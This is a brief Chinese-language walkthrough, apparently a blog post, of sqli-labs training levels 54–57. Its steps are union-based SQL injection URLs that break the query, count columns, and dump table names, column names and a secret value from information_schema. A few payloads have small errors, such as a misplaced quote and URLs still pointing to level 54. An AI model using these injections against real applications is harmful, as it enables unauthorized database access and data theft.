sqllabs54-57关

54关

sqllabs54-57关_第1张图片

http://192.168.43.141:81/Less-54/index.php?id=1'

sqllabs54-57关_第2张图片

查询字段名

/192.168.43.141:81/Less-54/index.php?id=1' order by 3 --+

sqllabs54-57关_第3张图片

查询表名查询库名字段名

/192.168.43.141:81/Less-54/index.php?id=-1' union select 1,2,3 --+

sqllabs54-57关_第4张图片

/192.168.43.141:81/Less-54/index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

sqllabs54-57关_第5张图片

/192.168.43.141:81/Less-54/index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='UABHLDJV9V' --+

sqllabs54-57关_第6张图片

/192.168.43.141:81/Less-54/index.php?id=-1' union select 1,group_concat(secret_NAKC),3 from 'UABHLDJV9V --+

55关

http://192.168.43.141:81/Less-54/index.php?id=1)

sqllabs54-57关_第7张图片

...剩下的与54关类似

56

http://192.168.43.141:81/Less-54/index.php?id=1")

sqllabs54-57关_第8张图片

...剩下的与54关类似

57

http://192.168.43.141:81/Less-57/?id=-1%22%20union%20select%201,2,3%20--+

sqllabs54-57关_第9张图片

...剩下的与54关类似

你可能感兴趣的:(网络安全,sql)